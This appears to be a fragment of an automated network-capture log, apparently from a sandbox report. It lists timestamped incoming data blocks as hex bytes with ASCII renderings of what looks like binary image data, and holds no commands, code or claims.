2022-07-20 17:31:07 UTC	7223	IN	Data Raw: be 9a 98 32 15 6c cc 28 82 a7 a6 3f a8 6a db 67 95 98 eb 51 fb af 74 29 f4 c2 88 3e 27 69 d1 2c 80 62 2b 61 c1 49 90 12 0e c6 36 d5 0b 70 65 55 99 a9 62 56 40 52 a3 7c 8c fc a7 5d ca fb 46 a7 6d 6d c8 51 83 73 7f 54 18 00 7c b4 86 d0 bf 1f 6a ce 79 6a 86 c7 ac e0 8f bb 43 f8 13 15 5b 97 e5 d6 cd 23 90 49 f0 3a 5b f6 1c 32 cc b7 be a6 03 98 23 a8 8d e7 5d c7 d1 64 05 be e3 76 e5 ab 03 da 61 c4 c9 f5 09 c4 8f 86 a6 e9 60 fb 7a eb f7 e3 25 48 19 eb 81 1f 7e 8d c7 0b f4 f5 16 ac 03 b3 11 c5 cf a6 0e e6 75 22 17 65 fc 55 aa aa 0e fc 49 10 64 9c 9f bb 47 69 01 81 35 e0 c0 61 10 bb 8c e6 09 df 57 b4 4a 05 86 8f 53 17 2b c5 04 63 07 ae b5 9c 28 d2 f6 b5 8b 58 48 2b 2d 95 df 88 e9 e3 a9 eb c8 68 aa 63 81 c4 1c fd 59 eb e3 a5 da 44 86 31 f0 1e 85 6c b4 fa 88 3d 07 Data Ascii: 2l(?jgQt)>'i,b+aI6peUbV@R\|]FmmQsT\|jyjC[#I:[2#]dva`z%H~u"eUIdGi5aWJS+c(XH+-hcYD1l=
2022-07-20 17:31:07 UTC	7239	IN	Data Raw: db 8c 80 4f 13 e4 71 aa b8 4b cb 72 f7 b8 94 53 07 a1 1f f1 d2 9d 82 b9 38 d4 a0 28 24 80 24 4e 39 7c 75 75 24 15 ca d5 27 3b 9c 9b 15 60 95 cc f2 db 46 dc 2c 24 5f db b7 70 b5 cf 12 10 29 1b c9 27 69 ff 00 6e 74 65 d4 c1 bb 0e 0a 0a f2 52 c4 2f 21 02 06 d1 ad 13 44 f5 4c bf b8 45 f0 40 93 8d ba 63 a6 a2 8d 1b f3 bd 32 90 40 0c 44 18 8c e7 4f fa b9 76 80 2b 5b cb dd 70 a8 26 48 8f 1c 7c 75 9d 9f 72 d2 eb 71 5f 20 49 cc 05 27 f1 4f 96 86 e1 43 6c b1 86 0b 0e 24 aa 1e 42 60 4f 4f 0d 29 c8 5b 81 52 c1 d9 6d 51 62 57 04 f1 30 60 fe 13 e6 35 d7 82 86 2d c0 ac 2a 7a 15 79 a8 5d c0 9f b7 e5 af 44 bc 30 be 44 3b d2 28 58 12 ea 41 cc 82 17 59 5a d6 40 5a ed 49 96 e2 e8 9e a0 f5 f5 e5 d1 a7 47 88 ec 2e ab 7d ae 40 65 a4 b0 40 33 c7 7c ce f3 a3 79 2d 30 33 06 62 0a Data Ascii: OqKrS8($$N9\|uu$';`F,$_p)'inteR/!DLE@c2@DOv+[p&H\|urq_ I'OCl$B`OO)[RmQbW0`5-*zy]D0D;(XAYZ@ZIG.}@e@3\|y-03b
2022-07-20 17:31:07 UTC	7255	IN	Data Raw: 15 6a 62 02 85 30 ac 00 62 27 62 36 19 f0 d7 9f 1a d8 1e dd 0a 82 54 43 2e 0c e7 1e 19 e9 a2 52 17 70 5a 0f 2c fb 60 fa 9a 0c 85 3d 04 74 d2 f5 4b 47 15 a5 8b ed 90 03 8c 20 9d bf 14 f9 6a fa 8b ab 41 0c cc 76 04 2f 12 46 e7 68 e8 23 5d 8e 2d 15 9c fb a1 10 89 e3 93 90 7a 1d 0a d2 0d 01 ed 49 50 e4 b9 3b 11 b7 8e ad 98 10 19 e6 b5 a9 e3 5e e4 bc 96 98 98 1a 1e 4a 9e 08 2a 38 38 57 53 f4 c0 33 e7 23 4f 1d 19 65 a6 bc 28 c0 30 41 33 1f 2d 1c 2d 6d 2d 69 9e 5f 49 62 62 3c 46 97 a8 7b 6b 2a 74 6a 70 bc 95 09 81 23 1e 1a 58 e2 d1 fd b7 89 2c ee 03 1c 13 1d 22 0e 34 27 5e 5d ae a9 9b 2d 62 90 a9 2a 38 98 96 9c 79 7c 74 ef 6c e1 3c ba b1 73 f2 0c 10 cb 72 31 03 03 32 7e 5a 3e ce c3 6d b6 d2 c5 eb 82 a4 98 88 18 81 00 1f 0d 69 a9 42 51 95 3e 85 36 60 93 b6 85 e5 Data Ascii: jb0b'b6TC.RpZ,`=tKG jAv/Fh#]-zIP;^J88WS3#Oe(0A3--m-i_Ibb<F{ktjp#X,"4'^]-b*8y\|tl<sr12~Z>miBQ>6`
2022-07-20 17:31:07 UTC	7263	IN	Data Raw: 9f a8 e0 93 ae 9d 79 8b 7b 13 cd 82 55 5a 11 ee 82 44 01 d0 79 ce 27 5e 6f 5b 9f c5 a7 b6 45 14 5a c5 e3 3e 8e 5b e0 f2 89 89 eb ad 71 96 81 ac 2c 19 ad b2 6d cc 05 18 8d a7 ef f1 d6 89 29 5f a8 e6 ad c0 95 08 00 8e 39 7e 3b 9d fe 93 b6 89 76 bc 1b dc f7 6c fc 9d 20 d6 f8 81 f4 cf 9e 24 69 ca ef 82 88 6e de 9a ec b2 56 18 8d e5 58 f5 9d 75 a1 0c f6 d6 a2 1c 9e 63 91 c7 81 63 c7 d2 31 f4 ea 16 19 52 05 4e 23 74 66 72 09 88 07 1b ff 00 2d 76 26 96 96 27 30 12 59 58 1e 98 18 cc f8 f9 6a c8 b1 dd c4 85 ad 59 4f 1f c2 00 06 23 6e ba ca b9 88 2a 2f ed 19 20 e0 82 32 3e 53 a7 d6 89 eb c9 93 96 03 88 02 77 f0 3f 0f 2d 69 ea e6 af 17 60 03 06 3c 98 92 44 41 88 03 7d 67 7a 99 28 aa 51 85 67 91 7f 48 27 06 07 db f0 d5 90 68 bb 6e 2e 5c 93 c1 95 49 f4 8d e2 35 d7 aa Data Ascii: y{UZDy'^o[EZ>[q,m)_9~;vl $inVXucc1RN#tfr-v&'0YXjYO#n*/ 2>Sw?-i`<DA}gz(QgH'hn.\I5
2022-07-20 17:31:07 UTC	7279	IN	Data Raw: e0 0c 01 e9 86 39 c8 ea 76 d4 f5 97 c7 0e 90 60 da e0 15 fa b8 9a db 81 8c cc e7 ec d2 b7 23 b3 96 76 c3 81 06 7d d2 4b 72 56 e9 38 df 5d d6 9c 3d 09 04 7d 20 b0 60 b1 9c 7f 48 1e 5a 96 26 69 b4 76 a0 d8 af 01 ab 90 09 63 eb 0d b4 fc 35 2d 5c 1f b0 cb 6c da a9 c5 c9 52 40 88 83 32 00 3b f2 c0 d6 72 e3 b0 17 0a d2 d1 6d 79 e4 70 0c 82 63 ab 12 4e b6 c5 b1 97 77 83 81 66 b0 0f c3 20 49 e5 10 c7 fd ba 18 04 28 a0 49 49 0a eb 1c fd 46 01 89 11 38 e5 f8 be 5a 52 6a db fe 3e a1 75 0d 69 7a 70 17 11 d0 00 61 70 7a 78 ea 76 b8 5f fb 53 ad 4c 98 00 3b d8 d9 65 d8 7f a7 96 87 59 a1 6e 7d 86 ee 2a 57 ad 4c a9 50 21 7e a5 9f 1d 39 56 5f fd 2b 69 7b ab 52 14 32 c9 c8 61 b7 92 9d 0c e5 77 ef ae 5e f9 07 e5 0e 25 c0 24 f2 3f 4c 9c 16 fe 5a 5d f8 bc 79 49 fa 62 2e e2 d7 Data Ascii: 9v`#v}KrV8]=} `HZ&ivc5-\lR@2;rmypcNwf I(IIF8ZRj>uizpapzxv_SL;eYn}*WLP!~9V_+i{R2aw^%$?LZ]yIb.
2022-07-20 17:31:07 UTC	7295	IN	Data Raw: ac e4 d6 19 24 80 40 1f 4f fc 75 a7 5f 01 a7 12 3b 24 2a 23 da 4d 8f 84 f4 3a 16 69 42 9c 96 50 ec a1 ab 6f a2 0e df ed eb f6 e8 c9 8b a9 82 35 9e 9b 78 02 bb 92 44 7c b4 f4 7c a9 34 57 2a 2c 72 c0 82 36 02 49 ce fa 9e c9 82 75 17 a0 36 b9 42 00 40 5f 23 88 e9 ab 39 4c c6 2f 6e 50 a8 39 2d 8e 5d 0c 62 74 75 ae 08 f6 f6 aa 97 60 4b ff 00 69 82 4f c7 e1 ad 2d c4 9c b6 ca eb a9 d5 01 f4 c2 9f ee 90 77 3a 18 84 28 17 06 5c f0 2c 39 02 62 48 9f 56 94 8e 77 e8 9b 85 4e 7a b1 60 17 cb 6d f5 3b 39 71 fd be ea ac 0a c4 ab 47 20 4c ee 3a 0e 9a cb 4a 46 db 5d 74 0f 75 cf 16 dd 79 1d a3 32 3c 0f c7 5a f5 e5 d5 e6 7b 95 2e 2a 97 ad e1 dd e0 02 47 c7 6d 0e 83 a6 d8 a6 85 6b 10 fa c2 f2 18 91 1e 1a d3 42 b5 ef 35 91 63 0c 44 81 1d 67 f1 1e 83 4b bd d3 ea c5 47 a8 07 ee Data Ascii: $@Ou_;$#M:iBPo5xD\|\|4W,r6Iu6B@_#9L/nP9-]btu`KiO-w:(\,9bHVwNz`m;9qG L:JF]tuy2<Z{.*GmkB5cDgKG
2022-07-20 17:31:07 UTC	7303	IN	Data Raw: 91 eb b8 db e1 ae d8 e9 63 1d 4c aa 35 5e 90 36 18 24 1d 8f fb 74 2d 2d 8a 05 6e bc 52 d2 c0 f1 20 15 8c 1e 93 f2 d6 72 15 c0 a5 76 54 eb c5 66 d6 12 0a 89 31 f6 eb d3 9c 33 0f 71 dc 91 51 62 00 e1 d5 f7 63 31 8f f8 6b 3b 0e 18 f6 00 4b 30 8a dc 8c f2 f1 1f 0d b5 37 12 9b 41 ae 19 79 4b 08 5c fa 70 be 07 c3 57 61 56 d1 6b a5 62 b0 dc 85 92 d6 78 f1 1d 27 43 65 59 43 fa ba b9 29 49 5a f6 32 71 8f 13 18 f4 f9 68 f9 59 63 0d a6 e0 2b 5b 17 30 49 02 09 eb 1a df 60 e1 8a 07 02 1d 42 2b 12 dc e6 70 46 f1 f7 68 15 a5 a0 21 4b 58 25 20 31 33 3c 73 19 d6 31 d8 69 1d c3 82 00 05 09 c7 40 27 ae 94 ae e0 46 cf d3 06 b1 c1 30 01 10 40 62 4f 86 3e 99 c6 ad bd a2 e1 76 ff 00 f6 41 62 25 84 aa e4 00 0e f9 fe ad 77 b5 20 57 5f ab 9a 71 e7 2a 3d b3 90 10 0e 9e 67 73 ae df Data Ascii: cL5^6$t--nR rvTf13qQbc1k;K07AyK\pWaVkbx'CeYC)IZ2qhYc+[0I`B+pFh!KX% 13<s1i@'F0@bO>vAb%w W_q*=gs
2022-07-20 17:31:07 UTC	7319	IN	Data Raw: 4b 48 fa b9 7e 12 3e dd 0b 4b 54 d1 51 74 28 ed c2 b2 e3 07 72 4f 53 33 ad 3c cf a1 e8 69 02 9b 90 d8 c9 63 b1 32 5a 63 fc 00 34 2f 1f f7 06 99 4f 6f 5d 95 fb f5 96 14 34 15 9d e5 46 77 db 43 b3 49 c8 db db a8 b6 4b 9e 04 85 98 22 3a ed ea df 49 d6 e2 06 37 21 8a f6 7e 24 c7 90 1f 66 af 50 f2 37 2a 9e 8b 83 07 11 95 f5 44 f5 8c 7f 1d 76 ef d9 1a fd c1 6b 87 39 4e dc 15 cb 2e f0 3c 8f 5d 4f 5f be 90 53 b5 7e 3e e3 29 0a 0c 9e 27 30 3f cf 56 64 f8 c2 e7 eb 8a 54 d4 95 96 46 1e 92 4a 23 18 66 10 27 57 b7 20 d9 66 0a a2 7d c5 cf 10 3e e9 d6 33 ad 2d 9f 47 07 e4 ee a1 63 06 63 61 b7 df a5 0b cb 07 3e 45 09 0c bc 44 72 30 22 37 c7 5d 3b d5 73 1d 7f 68 2c 6e 08 56 d0 20 a9 0c 65 7c b5 d2 62 5b ae bd 18 c0 05 54 d4 60 93 99 0d e1 f3 ce b4 b0 28 05 27 dd 8e d0 02 Data Ascii: KH~>KTQt(rOS3<ic2Zc4/Oo]4FwCIK":I7!~$fP7*Dvk9N.<]O_S~>)'0?VdTFJ#f'W f}>3-Gcca>EDr0"7];sh,nV e\|b[T`('
2022-07-20 17:31:07 UTC	7335	IN	Data Raw: 92 fc 9c 30 aa 5c b0 58 2b 01 90 aa 01 12 3d 3c 8f c7 47 31 6c 33 b5 fd b9 ee b4 27 71 68 5e 0b f5 13 89 1b eb b5 dd 63 02 d2 81 80 51 63 39 86 00 75 e8 73 e3 ae 97 7e e1 67 27 b3 d0 b5 3c 8f 4a 8e 24 13 13 f6 69 6d fa ff 00 03 89 1d ab 00 a7 22 aa 40 d8 60 4e f1 fe 7a 93 ed 33 ee d2 57 43 56 ca 82 38 16 e2 1a 26 40 18 9d 46 7d fc 52 d1 f8 b3 3f 6d 82 6c 01 8f 29 c4 1d b5 a4 77 fb bf 81 95 a3 5a 86 e0 c2 40 04 ce 4a f9 6b ac 74 f0 a5 bb 9e 4a 6b 50 72 9e 9e 43 03 cf c8 6b 3a ad b1 a9 29 c7 93 56 c0 28 2f 23 27 88 93 b4 f1 27 55 42 b7 1e f2 95 5b 08 f4 b1 52 17 62 22 44 9d 4b da e7 f1 0b 0e ae a0 69 e5 53 12 f1 2e c4 0e 2a 3f 9e ba f9 8d 64 e1 1f 72 08 ee 15 92 5a b2 be 98 df fc 1d 2e 34 56 3b 53 72 0b 1b 00 9f 52 9d 83 44 44 75 c0 eb a8 a0 ee 2d a2 bc c0 Data Ascii: 0\X+=<G1l3'qh^cQc9us~g'<J$im"@`Nz3WCV8&@F}R?ml)wZ@JktJkPrCk:)V(/#''UB[Rb"DKiS.*?drZ.4V;SrRDDu-
2022-07-20 17:31:07 UTC	7342	IN	Data Raw: 20 19 0a 3a ff 00 73 36 84 dc d5 2b b2 bb f4 ad ee 52 57 da b3 d0 cf 12 f1 d4 9f e5 af 47 00 ee ea b3 47 71 5a 72 80 7d 45 8e 09 27 c4 7e 18 1a 3c 26 e1 65 b8 da 78 47 21 1c 4e 20 e3 fa 7f 16 89 4b a2 fd 5f b3 54 b4 2b 30 19 83 04 ed ae 27 a2 c8 08 51 6b f3 ae 23 13 29 e6 3a eb 2b d7 54 9b dd 6e ed 4d a1 3d b7 a6 07 b6 4e 44 e3 8e 3f ab cf 4e 7e 3e 1d db 82 aa b8 bb 9a 6c 43 eb c3 09 88 80 26 4f dd a9 98 31 4f 71 db 56 2a e7 6a a8 a8 36 15 59 48 c0 e9 d7 27 ae 9c ec 35 20 6a 2a 64 75 79 06 58 29 6f 0f 23 ac bb 5d 68 9a cb 79 31 be da f8 95 21 95 7c 07 f0 3a d3 af 5c 1d 49 c2 a5 66 08 5b 93 90 c4 bf d0 37 c4 6d ae 9d b0 3b 02 b4 ac da c6 c8 7a 54 48 1d 01 3e 01 bc f6 fe dd 6d ba 31 dd e3 57 5d 8a ab 21 37 90 20 fc 60 7d da ce f5 30 d4 fc ee e4 88 42 34 07 Data Ascii: :s6+RWGGqZr}E'~<&exG!N K_T+0'Qk#):+TnM=ND?N~>lC&O1OqVj6YH'5 jduyX)o#]hy1!\|:\If[7m;zTH>m1W]!7 `}0B4
2022-07-20 17:31:07 UTC	7358	IN	Data Raw: ba b0 db ea 91 ca c0 73 20 46 df 8b cf 5c 21 51 59 b1 ec 7b 3d bb 02 0e 02 3d 38 11 cb cf e3 ae c5 53 65 bc 6f 21 d9 4d 8a 78 3b 8c 09 e9 aa 51 8d 60 bf d3 c8 31 04 80 22 62 37 3a 9b 8b 87 0a 68 2a 5d 9c 27 05 90 a0 1c bb 6c 64 78 9f f2 d1 b7 4a 40 b3 ab d3 ec 86 5f 72 44 82 4e 1c f4 04 e8 f6 9b c4 72 8e cd eb 4b 38 07 28 cc de 98 00 c1 3e 07 73 ae f8 c2 49 fb 8b 3d 84 ad c0 80 b2 49 26 09 83 93 e2 27 1a 52 64 0a 93 bd ee 16 d7 5c 81 49 58 6e a4 92 71 86 89 f8 f8 68 4b c8 52 d3 b8 a8 f6 cd 54 2c 96 3c 98 6c 60 8e 2d e0 1b 5a 76 99 16 1d 65 dd aa 72 56 66 5b 55 63 d3 10 4c 60 96 f8 ea f5 0b 11 d3 41 bd 59 4b ad c3 91 e2 a7 02 49 04 b1 f8 0d b4 bb 4c 19 4e ed af e1 63 39 12 26 72 27 03 1d 76 d7 9b 35 be bd 2e dc b7 05 1b 80 40 e2 00 38 df 5a 4b 80 71 6a 6f Data Ascii: s F\!QY{==8Seo!Mx;Q`1"b7:h*]'ldxJ@_rDNrK8(>sI=I&'Rd\IXnqhKRT,<l`-ZverVf[UcL`AYKILNc9&r'v5.@8ZKqjo
2022-07-20 17:31:07 UTC	7374	IN	Data Raw: 62 7a e1 2b 26 b2 f6 84 16 06 52 b0 0e c7 c5 4c 40 d7 44 a3 64 0e 5d 6a 5e 2d bc b9 92 73 98 d5 16 d7 db 38 be b2 4c 3b 98 52 46 0e a5 38 f4 7b 90 e9 43 00 9c 41 22 19 48 20 98 ea 27 79 d6 6d 1e 57 70 ae c1 cb 85 28 59 09 da 24 0e b9 91 aa 38 65 4f 5a 85 01 94 4f a4 b8 f5 21 f1 c7 e1 f0 d3 90 2a 9a 4a db 4f 1b 0b 14 3e a8 1b 19 31 83 e7 c7 ae a1 48 eb d8 bd 9c 55 e0 06 24 27 e1 88 ea 7a 7c 35 a5 ec 3e ac 7a 28 ad 52 f7 31 67 84 64 8f 1f 3d 74 ab 86 27 6b da 27 31 3c 80 fa 41 5c 44 c9 e5 e1 9d 1e ca 73 01 45 66 a6 ab d6 5c 3b 10 47 18 38 e3 e3 1a ed 76 a7 ee 69 56 a8 fb 6a bc c9 2a 00 26 0c 98 c7 5c 6a 5e 5d a0 3d b1 57 e2 a7 db 42 b8 11 8f 99 d2 ea 78 59 aa f5 32 17 d0 11 b9 15 12 24 7f a6 88 58 ea ad b2 fe dd 3d ce 3b c8 92 44 9f 31 d7 4a f5 74 7a b5 b7 Data Ascii: bz+&RL@Dd]j^-s8L;RF8{CA"H 'ymWp(Y$8eOZO!JO>1HU$'z\|5>z(R1gd=t'k'1<A\DsEf\;G8viVj&\j^]=WBxY2$X=;D1Jtz
2022-07-20 17:31:07 UTC	7382	IN	Data Raw: 5e e1 54 16 24 8e 20 c1 86 c6 06 71 a0 51 e6 59 59 ed 2d 5e 10 48 1c db c5 09 3b e7 c7 57 ab 3e c1 ed 7b 23 dc 5b ee d9 64 16 62 cb e5 1d 4f 96 bb b2 f4 0f b7 62 d5 0c 60 c1 62 26 14 8f 2f 13 a9 39 5b 30 aa 25 61 b8 9c 44 07 10 49 f0 eb ab ea 92 ae ed 6a 6e df b9 55 ab 21 81 25 cf a8 12 33 e1 88 fe 1a 9e ad 25 7a 57 25 9d c5 8c 48 24 f1 11 b0 06 26 74 2f 6d 74 89 16 bb 83 15 11 59 61 00 91 92 58 48 cf 8c eb 2b c3 4c 0b 76 cb cd ed 73 c9 94 72 9e 5b c6 32 23 cf 3a 5d 3b 68 76 e1 10 ef cd 6d ed aa 72 2b c8 80 d3 b8 cf 8e d1 b6 9d ea 3a 63 f6 a2 ba 14 00 7d d6 5e 52 b9 8f 1f 56 8e e1 19 d9 dc a1 ab 42 51 6c 63 f8 81 62 c0 6f 31 1f 2d 5b c0 e9 af 4b 87 b1 cc 94 62 40 e4 20 8e 27 1d 4e 9f 5b ae c4 e8 0d ab ee 96 40 ee c3 91 99 98 fc 3b 63 5a 5e ae f0 7d 7d a3 Data Ascii: ^T$ qQYY-^H;W>{#[dbOb`b&/9[0%aDIjnU!%3%zW%H$&t/mtYaXH+Lvsr[2#:];hvmr+:c}^RVBQlcbo1-[Kb@ 'N[@;cZ^}}
2022-07-20 17:31:07 UTC	7398	IN	Data Raw: f6 7c 0f f2 d5 ef 76 8c a7 17 a3 b6 ac bd ac 59 55 c4 04 24 4c ef d3 a6 ba ce 7c 34 f6 4e 6c ed 58 a5 8e 3d c4 88 0a 00 9c 9c 12 7a e9 de df 60 cd 7a d7 76 b5 02 b6 d2 15 aa 32 b6 00 49 25 60 6d 03 7d 79 a7 6e 7c 36 f5 c7 50 5f b3 64 39 22 1d 8c 80 c4 af 4f 9e bb e4 31 27 7f 5f 6a e0 5c fc 5c 93 86 0b 90 08 c6 97 6b a5 09 1d ab f7 0d ee 56 ac 56 44 48 c1 95 f0 da 27 1a 72 f0 ca ce 5b 65 16 b8 2a a1 79 41 65 40 20 08 89 8d 5d 59 0c 7e c5 6c ad ec 15 b0 78 03 10 04 01 24 cc e7 e1 a9 ab 61 95 2f 63 7a 0e 6c fc 38 c8 55 24 09 fc 5e 5e 1a eb 7f 6e 26 21 2a 3b a9 50 c0 23 46 36 80 ac 64 7c 23 a6 bb a5 e3 1d 8a 3d 9b 7b 6e da be e6 b7 56 47 58 3c 01 01 7c 66 47 8c 6a 5a b1 38 b0 21 8a 81 17 f4 55 69 5c 8f ab e3 e5 ae 91 d6 82 cf dc 6a 5e 0c 59 f9 58 47 3e 27 69 Data Ascii: \|vYU$L\|4NlX=z`zv2I%`m}yn\|6P_d9"O1'_j\\kVVDH'r[eyAe@ ]Y~lx$a/czl8U$^^n&!;P#F6d\|#={nVGX<\|fGjZ8!Ui\j^YXG>'i
2022-07-20 17:31:07 UTC	7414	IN	Data Raw: fb 1f d5 77 54 76 46 d0 b3 72 54 0b 6d ea 3e a7 38 fa 40 fa 73 af 5e fb 32 eb 31 67 ef 7f b7 76 dd 9f ef 7d cf ed eb dd 1b bd 89 ae 8b 14 80 ad 89 3a bd 5b 76 ea f1 ad ef 28 50 8e 85 ac bf 62 37 19 31 83 ae b1 8e 24 44 af bd ee 8d f6 a9 f6 14 30 e2 44 f1 23 e7 d7 5b 49 0f 6f c1 fd 87 ef 1d bf b7 51 55 2a 11 c4 93 25 4c 9f ff 00 30 35 87 7e b6 84 9d be ca 6e ed 6b fd c9 de 9e ed e1 99 d8 89 10 c0 46 64 89 eb c7 5a fe 39 91 3b 6d fa 03 bf fd 35 1d 9f 6e 2b 2c ef 5d 82 b2 a1 b0 40 03 2f 8f a6 73 be b0 9d a9 76 fc 6f 39 7b 11 60 2a b5 a8 b2 61 04 65 98 91 0c 73 8d 7a 3a d6 5e 98 5b 2d c8 fe cb 82 c9 59 63 63 11 90 46 e1 73 9c e9 76 f2 53 80 d3 6d 95 50 cb 5f 30 dc c0 b5 59 86 4b 18 58 5e 9e 9f 3d 5b 59 d9 aa bf 55 5d 6a 3f 52 8b cc ca c4 f5 fc 3b 6a 47 7a e4 Data Ascii: wTvFrTm>8@s^21gv}:[v(Pb71$D0D#[IoQU%L05~nkFdZ9;m5n+,]@/svo9{`aesz:^[-YccFsvSmP_0YKX^=[YU]j?R;jGz
2022-07-20 17:31:07 UTC	7422	IN	Data Raw: d4 1a ff 00 ff 00 1f d0 b7 5a 8c ec 48 20 12 b1 08 00 f5 02 46 67 8e 3e 3a 33 ac be 07 b7 e7 cb bf ff 00 15 1f b1 7e c9 de 7e d5 dc 37 3b 05 9d a3 31 f6 e4 7e 61 f3 27 6c 6b d1 3a 0f e5 fc fb 3f ef ff 00 a7 fd af 7a ca cf 6f 49 1c 84 02 c1 c3 0c 38 22 78 e7 52 f5 79 bf 0d e7 9f eb fa 7f b4 b7 09 40 09 5c a2 b0 01 98 e0 15 03 cf 23 e2 35 7b bb a4 b3 ae 5f 27 d4 95 2a 2a d3 c9 93 0c 21 86 47 8f c0 6b 2c 6d d6 59 d7 93 a8 ef c2 c2 22 b2 49 2e 08 32 27 89 80 49 99 c6 b0 93 1b e7 13 5e 8f 6b fb a5 47 b7 6e de 16 c8 13 26 00 04 ee 20 e9 17 37 cf 1f a1 eb dc fe d4 9d c0 7b 90 3f 29 98 d8 16 dc af 59 d0 6d 26 4f db cf ea 7d 89 fb 55 a3 92 b9 41 54 92 40 ce 3e 99 f0 26 75 a5 8c a7 5d e6 a4 bb b0 fd a1 bb 46 ee 53 98 79 03 93 37 21 11 9c 0c fc ce 94 1e d6 f8 78 a9 Data Ascii: ZH Fg>:3~~7;1~a'lk:?zoI8"xRy@\#5{_'**!Gk,mY"I.2'I^kGn& 7{?)Ym&O}UAT@>&u]FSy7!x
2022-07-20 17:31:07 UTC	7438	IN	Data Raw: ce e3 89 05 53 d4 0c e0 9c 7a 8a ef a7 26 31 f6 df 8d 36 da 0b a2 9a 70 a9 81 23 d2 40 d8 4e 0c 9f c5 8d 67 6b 4f dc 9e c1 6d ad ee 15 01 e4 15 6f c4 27 70 a3 6c ea ca 53 ad be 62 9e dc 03 dc ad 6e dc 39 09 88 0c ca 4c ee 64 60 ea ca 1c 86 ca 6d 1c 6b ad 40 0d 3c 79 75 81 88 f8 9c 6a 66 a6 c8 42 fb 8c cc 03 70 aa b4 04 26 c1 c1 e8 71 2b a3 ea d3 ad d8 d6 a9 11 4d ec c1 eb 70 a4 01 03 00 e6 33 a5 06 9b 59 fd 4a 05 11 c8 98 82 31 0b d4 8f 2f fd da 5a 39 9c bc ef 68 d3 53 8b 18 9f 33 86 1c 8e 48 1f c3 fa 74 2a ce bb c9 8b 60 4a 42 5a 08 46 e5 04 e4 ef e1 e5 be ba 56 b7 e8 62 5a ad c9 7b 72 52 00 fa 40 85 6f eb c9 d2 d7 9f b4 f5 25 1a a6 ad cb 37 32 a7 26 22 44 e3 e1 aa d3 32 6c 30 1f 66 e4 37 1f 42 c0 95 13 07 a4 91 e1 ae 1b 2d 81 4a 9a c2 e8 dc 4f 12 73 d4 Data Ascii: Sz&16p#@NgkOmo'plSbn9Ld`mk@<yujfBp&q+Mp3YJ1/Z9hS3Ht*`JBZFVbZ{rR@o%72&"D2l0f7B-JOs
2022-07-20 17:31:07 UTC	7454	IN	Data Raw: 5a c3 67 10 40 c4 13 98 e8 75 ac e1 9d e4 14 d7 6d 68 b7 35 98 6f 52 29 4f 4e ff 00 c2 35 2d d6 9d 3a e7 35 45 9d bf b2 fc 69 e6 50 b4 b2 c4 82 4e 47 18 db 53 d5 dd 2e ef b7 9f af c7 f0 17 70 d6 5b 4d 8d c8 57 62 92 54 b2 c8 ce 02 9f e9 3a b8 cb fd df f6 ff 00 e3 fa 17 75 1d c7 6a 88 03 87 00 16 2c 01 19 20 72 1c b6 d5 c1 bf ba fb 03 bb 0a ab c6 e0 c3 94 2e 0f 23 1c 63 23 51 a4 fd dc 30 50 16 b4 4a 89 45 80 00 62 67 e3 c7 cf 53 34 a7 7f 5b 24 f8 17 79 dc 42 3d 80 94 e4 38 4c 00 07 23 95 1c a0 ed bf dd a1 3a ba 59 ce a7 5a ec 2a 0f b5 28 2b 15 83 9e 42 0c e4 f9 8f c5 ae ed 1d d3 b6 75 c9 f5 3d b8 d7 1e eb 08 61 2f c0 c8 00 1f 48 9e b8 d2 c7 5f ab 2c 90 f3 3e e3 10 4a ab 41 5f 29 ff 00 4d 20 cf 6e 23 bb 5e e1 ab b1 0f 17 24 b2 8c 03 f5 7f 4c ff 00 46 b8 a7 Data Ascii: Zg@umh5oR)ON5-:5EiPNGS.p[MWbT:uj, r.#c#Q0PJEbgS4[$yB=8L#:YZ*(+Bu=a/H_,>JA_)M n#^$LF
2022-07-20 17:31:07 UTC	7462	IN	Data Raw: dc 17 1b ff 00 3d 74 75 ed e9 e5 27 bc b6 17 28 03 56 25 f2 49 0e 44 7a 47 9e 75 75 9c e9 eb cb ff d0 f2 4a f2 3e d7 32 cc 0b 31 8d b9 7e 13 9f 2d 6f 8f 81 2e fd 8d 0f db d6 ad 08 7e a1 2c 73 92 30 09 3d 3c 7e 5a 5d 58 7f 4d c9 62 7b 2c b4 72 ad 24 fb 50 cc 81 66 20 65 9a 7d 3a ee d6 94 93 b5 e6 6f fa 16 15 2c b0 dd 59 8b 38 88 93 03 19 22 47 df a9 35 a5 b2 6f d9 d6 a9 36 2f 36 05 78 97 38 ea 72 00 23 3b e3 47 d4 3a dd 9c f9 61 03 81 ee 5d 38 b3 29 06 3a f8 4c ef 8d f5 a4 ed 60 4e 6f 3e 16 53 41 08 9d cd a8 4e 30 14 af 13 23 f0 ea ce 46 fd 9b db 0e 36 21 75 e2 ae 58 73 68 30 57 a7 2f a7 27 3a ce b5 92 cf 20 b1 05 2d c0 9a e4 98 93 f4 f2 df 1e 33 a7 90 37 79 63 d4 e1 59 55 81 24 10 0c 44 29 f5 39 f9 0d 16 ba 31 db 18 95 7e 66 4c 4a fa 60 78 8d 26 7b c8 45 Data Ascii: =tu'(V%IDzGuuJ>21~-o.~,s0=<~Z]XMb{,r$Pf e}:o,Y8"G5o6/6x8r#;G:a]8):L`No>SAN0#F6!uXsh0W/': -37ycYU$D)91~fLJ`x&{E
2022-07-20 17:31:07 UTC	7478	IN	Data Raw: 1c 37 66 51 83 e1 8d 53 ed d7 1a cc a6 e2 aa 0a 26 ca c1 46 73 f5 7c f5 02 14 b6 2d 48 a4 92 4a cc b0 10 4e 73 ae c5 97 96 b3 54 f5 96 b5 5a 01 c4 75 23 a1 3f d5 a8 5d a8 3d cb 17 9b 41 08 dc 57 d4 32 09 da 46 ae b3 f5 13 f6 0c 96 8a d1 7d b7 cc 11 99 f9 4e 35 c3 c7 9f 91 d9 4b 55 10 e4 82 64 93 81 1b 01 d7 5c 7f dc bf e2 1d 4f e9 b9 15 95 e2 a0 72 2d 80 bf 1f ea f9 6a 57 4e b3 b5 c5 36 0e d5 29 2f 67 a8 90 60 2b 1c 09 c7 c4 9d 46 be de 89 96 f8 b3 d9 15 0e 2b c6 09 d8 4e e3 7c ea 58 ed f7 65 df b8 d3 53 8e de a2 8c ec 3f ea 71 8c cf d3 e7 8d f5 74 3d 70 37 f7 96 76 ef 5d 55 b2 90 67 82 a8 e5 82 32 dc b5 cb 48 56 7e 02 ca cc bb cf 22 71 b0 89 00 ee 75 43 52 f3 65 9b 12 e6 69 2b ed 92 b0 7c 35 c3 7b 13 65 4a 9c bd 9e 36 84 9e 7e a9 21 be 7d 35 c5 29 c6 d5 Data Ascii: 